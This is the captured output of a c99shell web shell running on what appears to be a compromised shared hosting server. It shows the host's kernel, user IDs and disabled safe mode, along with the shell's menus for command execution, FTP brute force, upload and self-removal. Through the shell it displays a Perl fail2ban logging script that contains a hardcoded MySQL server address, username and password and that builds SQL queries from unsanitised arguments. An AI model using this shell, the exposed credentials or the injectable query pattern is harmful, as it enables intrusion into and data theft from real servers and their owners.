!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.3.27 

uname -a: Linux pdx1-shared-a4-04 6.6.104-grsec-jammy+ #3 SMP Tue Sep 16 00:28:11 UTC 2025 x86_64 

uid=6659440(dh_z2jmpm) gid=2086089(pg10499364) groups=2086089(pg10499364)  

Safe-mode: OFF (not secure)

/etc/fail2ban/action.d/   drwxr-xr-x
Free 709.97 GB of 879.6 GB (80.71%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     ndn-fail2ban-central.pl (3.82 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
#
#Nightmare Labs central fail2ban database action.
#
#Writes and Query central fail2ban database.
#

use strict;
use warnings;
use DBI;
use v5.10;
use Getopt::Long qw(GetOptions);

#Global Variables
my ($sql, $hostname, $jail, $ip, $report, $table);

#MySQL related 
my $db = 'failcentral';
my $host = '69.163.136.9';
my $user = 'f2b_user';
my $password = 'nightmarelabs';
my $dsn = "DBI:mysql:database=$db;host=$host";
my $dbh = DBI->connect($dsn, $user, $password);

GetOptions (
    "help|h"     => sub { _help2() },
    "report|r=i" => \$report,
) or _help();


#Usage information
sub _help {
    print "Tool to log fail2ban actions to a database.

        Usage: ndn-fail2ban-central.pl [--help|-h] [--report| -r <seconds> <cluster>] <cluster> <jail name> <IP address>
        Options: --help|-h This help page.
             --report|-r  <interval in seconds> <cluster>

        Examples:
            ndn-fail2ban-central.pl fail2ban_loadbalancer ssh-bruteforce 1.2.3.4
            ndn-fail2ban-central.pl --report|-r 60 (Shows entries from the last 60 seconds) fail2ban_loadbalancer\n";

    exit 0;
}

#Running report
if ($report) {
    ($table) = @ARGV;
    query_fail2ban($report, $table);
    exit 0;
}

sub query_fail2ban{
    ($report, $table) = @_;
    my $sql = "SELECT date, hostname, jail, ip from $table where date>DATE_ADD(NOW(), interval -$report SECOND)";
    my $sth = $dbh->prepare($sql);
    $sth->execute();
    while (my @row = $sth->fetchrow_array()){
        print "@row\n";
    }
    $sth->finish();
}

sub _insert {
    ($table, $hostname, $jail, $ip) = @_;
    my $sql = "INSERT INTO $table set hostname='$hostname', jail='$jail',ip='$ip', date=NOW()";
    my $fail_data = _get_fail_data();
    $sql .= ", fail_data='$fail_data'" if $fail_data;
    my $sth = $dbh->prepare($sql);
    $sth->execute();
    $sth->finish();
}

sub _get_fail_data {
    my $users_ref = _process_log();

    if (!$users_ref) {
        my $second_attempt = 1;
        $users_ref = _process_log($second_attempt);
        return if !$users_ref;
    }

    my %users = %$users_ref;
    my $fail_data;

    # TODO: for jails like wp and 418, we probably want to do something else.. figure that out later.
    # user with the highest fail count should be first since the list length is max 15 users.
    my @sorted_users = sort { $users{$a} <=> $users{$b} } keys %users;
    my $i = 0;
    for my $user (reverse @sorted_users) {
        $fail_data .= "$user:$users{$user},";
        $i++;
        last if $i > 14; # cutting it off here else the list would be truncated in the db.
    }

    return $fail_data;
}

sub _process_log {
    my ($second_attempt) = @_;

    # TODO: we're always going to try a second attempt for the other jails, like ssh, ftp, etc. add those later.
    # TODO: put these regex's somewhere?
    my $config = {
        'dovecot' => {
            log_file   => '/var/log/auth.log',
            fail_regex => 'dovecot.*fail',
            user_regex => 'ruser=(.*) rhost',
        },
        'postfix-sasl' => {
            log_file   => '/var/log/auth.log',
            fail_regex => 'dovecot.*fail',
            user_regex => 'ruser=(.*) rhost',
        },
    };

    my $log = $config->{$jail}->{log_file};
    $log .= '.1' if $second_attempt;

    my $fail_re = $config->{$jail}->{fail_regex};
    my $user_re = $config->{$jail}->{user_regex};

    if ($log && $fail_re && $user_re) {
        open my $fh, '<', $log || return;
        my %users;

        while (<$fh>) {
            my $line = $_;
            chomp($line);
            next unless $line =~ /$ip/;
            next unless $line =~ /$fail_re/;
            my ($user) = $line =~ /$user_re/;
            next unless $user;
            $users{$user}++;
        }
        close $fh;
        return \%users if keys %users > 0;
    }
    return;
}

sub main {
    ($table, $jail, $ip) = @ARGV;
    $hostname = `hostname`;
    #if required values are missing exit
    if ($table and $jail and $ip) {
        chomp ($table, $hostname, $jail, $ip);
    } else {
        print "Valid options required\n";
        _help();
    }

    if ($ip =~ m/^(\d\d?\d?)\.(\d\d?\d?)\.(\d\d?\d?)\.(\d\d?\d?)$/) {
    } else {
                print "Valid IP address required\n";
                _help();
    }

    _insert($table, $hostname, $jail, $ip);
}
main();

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0983 ]--